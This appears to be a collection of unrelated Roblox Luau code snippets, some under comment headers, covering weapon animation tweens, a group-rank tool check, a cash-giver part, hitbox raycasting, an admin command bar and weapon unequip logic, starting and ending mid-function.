ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.1)
local MagC = objs[4]:clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
wait(0.05)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play()
wait(0.4)
objs[6]:WaitForChild("MagFall"):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play()
wait(0.05)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.05)
objs[6]:WaitForChild('MagIn'):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()
wait(0.05)
ts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play()
ts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, -0.684338093)}):Play()
wait(0.05)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.0710707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
end;
BoltForwardAnim = function(char, speed, objs)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, -0.603770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.050)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.050)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
--HeroTHePianist |
script.Parent.OnServerEvent:connect(function(plr,groupID,minrank)
if plr:GetRankInGroup(groupID) < minrank then
script.Parent.Parent.Parent:Destroy()
end
end)
|
--Made by Aurarus-- |
currency = "Money" -- Change Gold to the currency you want to give
amnt = 20 -- Change 50 to the amount of money you want to give
debounce = false -- Don't change this
function onTouch(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == false then
if game.Players:findFirstChild(hit.Parent.Name) ~= nil then
ThisPlayer = game.Players:findFirstChild(hit.Parent.Name)
ThisPlayer.leaderstats:findFirstChild(currency).Value = ThisPlayer.leaderstats:findFirstChild(currency).Value + amnt
script.Parent.Transparency = 1
script.Parent.CanCollide = false
debounce = true
wait(86400) -- Respawn time for the cash giver
script.Parent.Transparency = 0
script.Parent.CanCollide = true
debounce = false
end
end
end
script.Parent.Touched:connect(onTouch)
|
--- Creates raycast points using only vector3 values.
-- @param object BasePart or Bone, the part you want the points to be locally offset from
-- @param table of vector3 values that are in local space relative to the basePart or bone
-- @param optional group string parameter that names the group these points belong to |
function Hitbox:SetPoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3}, group: string?)
for _: number, vector: Vector3 in ipairs(vectorPoints) do
local point: Point = self:_CreatePoint(group, Hitbox.CastModes[object:IsA("Bone") and "Bone" or "Vector3"])
point.Instances[1] = object
point.Instances[2] = vector
table.insert(self.HitboxRaycastPoints, point)
end
end
|
-- ROBLOX TODO START: implement missing RegExp when 'g' flag available (or reimplement without RegExp) |
function exports.escapeRegex(str): string
error("escapeRegex not implemented")
-- return str:replace(REGEX_SPECIAL_CHARS_GLOBAL, "\\$1")
end
function exports.toPosixSlashes(str): string
error("toPosixSlashes not implemented")
-- return str:replace(REGEX_BACKSLASH, "/")
end
function exports.removeBackslashes(str): string
error("removeBackslashes not implemented")
-- return str:replace(REGEX_REMOVE_BACKSLASH, function(match)
-- return match == "\\" and "" or match
-- end)
end |
-- Unequip logic here |
function OnUnequipped()
if FPSHandsEnbled then
local Rig = DetectRigAsync(MyCharacter)
if Rig == "R15" then
local WhitelistedBodyParts = {"LeftHand", "LeftLowerArm", "LeftUpperArm", "RightHand", "RightLowerArm", "RightUpperArm"}
for i, v in pairs(WhitelistedBodyParts) do
TransparencyConnections[v]:Disconnect()
TransparencyConnections[v] = nil
end
elseif Rig == "R6" then
local WhitelistedBodyParts = {"Right Arm", "Left Arm"}
for i, v in pairs(WhitelistedBodyParts) do
TransparencyConnections[v]:Disconnect()
TransparencyConnections[v] = nil
end
end
if AutoFirstPerson then
MyPlayer.CameraMode = Enum.CameraMode.Classic
MyPlayer.CameraMinZoomDistance = 9.6
task.wait(0.02)
MyPlayer.CameraMinZoomDistance = game:GetService("StarterPlayer").CameraMinZoomDistance
end
end
Handle.UnequipSound:Play()
Handle.EquipSound:Stop()
Handle.EquipSound2:Stop()
LeftButtonDown = false
flare.MuzzleFlash.Enabled = false
Reloading = false
MyCharacter = nil
MyHumanoid = nil
MyTorso = nil
MyPlayer = nil
MyMouse = nil
if OnFireConnection then
OnFireConnection:disconnect()
end
if OnReloadConnection then
OnReloadConnection:disconnect()
end
if FlashHolder then
FlashHolder = nil
end
if WeaponGui then
WeaponGui.Parent = nil
WeaponGui = nil
end
if RecoilTrack then
RecoilTrack:Stop()
end
if ReloadTrack then
ReloadTrack:Stop()
end
end
local function SetReticleColor(color)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
if line:IsA('Frame') then
line.BorderColor3 = color
end
end
end
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
while true do
task.wait(0.033)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
SetReticleColor(NeutralReticleColor)
local target = MyMouse.Target
if target and target.Parent then
local player = PlayersService:GetPlayerFromCharacter(target.Parent)
if player then
if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
SetReticleColor(EnemyReticleColor)
else
SetReticleColor(FriendlyReticleColor)
end
end
end
end
if Spread and not IsShooting then
local currTime = time()
if currTime - LastSpreadUpdate > FireRate * 2 then
LastSpreadUpdate = currTime
Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
UpdateCrosshair(Spread, MyMouse)
end
end
end
|
-- << FUNCTIONS >> |
function module:ToggleBar(keyCode)
if keyCode == Enum.KeyCode.Quote then
local cmdBar = main.gui.CmdBar
if cmdBar.Visible then
main:GetModule("CmdBar"):CloseCmdBar()
else
main:GetModule("CmdBar"):OpenCmdBar()
end
elseif keyCode == Enum.KeyCode.Semicolon then
local requiredRank = main.settings.Cmdbar2
if main.pdata.Rank > 0 or requiredRank <= 0 then
if main.pdata.Rank < requiredRank then
local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "2", main:GetModule("cf"):GetRankName(requiredRank))
main:GetModule("Notices"):Notice("Error", notice[1], notice[2])
else
local props = currentProps["cmdbar2"]
if not props then
main:GetModule("ClientCommands")["cmdbar2"].Function()
else
if props.mainParent.Visible then
props.mainParent.Visible = false
else
props.mainParent.Visible = true
end
end
end
end
end
end
function module:OpenCmdBar()
local props = mainProps
local requiredRank = main.settings.Cmdbar
if main.pdata.Rank > 0 or requiredRank <= 0 then
if main.pdata.Rank < requiredRank then
local notice = main:GetModule("cf"):FormatNotice("CommandBarLocked", "", main:GetModule("cf"):GetRankName(requiredRank))
main:GetModule("Notices"):Notice("Error", notice[1], notice[2])
else
props.textBox:CaptureFocus()
for _,coreName in pairs(coreToHide) do
originalCoreStates[coreName] = main.starterGui:GetCoreGuiEnabled(coreName)
main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], false)
end
main:GetModule("TopBar"):CoreGUIsChanged()
topBar.BackgroundColor3 = Color3.fromRGB(50,50,50)
originalTopBarTransparency = topBar.BackgroundTransparency
originalTopBarVisibility = topBar.Visible
topBar.BackgroundTransparency = 0
topBar.Visible = true
props.textBox.Text = ""
cmdBar.Visible = true
wait()
props.textBox.Text = main.pdata.Prefix
props.textBox.CursorPosition = 3
end
end
end
function module:CloseCmdBar()
local props = mainProps
cmdBar.Visible = false
for _,coreName in pairs(coreToHide) do
local originalState = originalCoreStates[coreName]
if originalState then
main.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[coreName], originalState)
end
end
main:GetModule("TopBar"):CoreGUIsChanged()
topBar.BackgroundColor3 = Color3.fromRGB(31,31,31)
topBar.BackgroundTransparency = originalTopBarTransparency
topBar.Visible = originalTopBarVisibility
coroutine.wrap(function()
for i = 1,10 do
props.textBox:ReleaseFocus()
wait()
end
end)()
end
function module:PressedArrowKey(key)
for i, props in pairs(currentProps) do
if props.mainParent.Visible and props.textBox:IsFocused() then
local originalLabel = props.rframe:FindFirstChild("Label"..props.suggestionPos)
if key == Enum.KeyCode.Down then
props.suggestionPos = props.suggestionPos + 1
if props.suggestionPos > props.suggestionDisplayed then
props.suggestionPos = 1
end
elseif key == Enum.KeyCode.Up then
props.suggestionPos = props.suggestionPos - 1
if props.suggestionPos < 1 then
props.suggestionPos = props.suggestionDisplayed
end
elseif key == Enum.KeyCode.Right then
selectSuggestion(props)
end
local newLabel = props.rframe["Label"..props.suggestionPos]
if newLabel ~= originalLabel then
originalLabel.BackgroundColor3 = props.otherColor
newLabel.BackgroundColor3 = props.highlightColor
end
end
end
end
return module
|
-- [[ Variables ] |
local ActiveHitboxes = {}
local Handler = {}
local clock = os.clock
|
--//Client Animations |
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.05,0.25,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.05,-0.05,-1.05) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -0.9) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(0.3, -.25, 1) * CFrame.Angles(math.rad(90), math.rad(90), math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
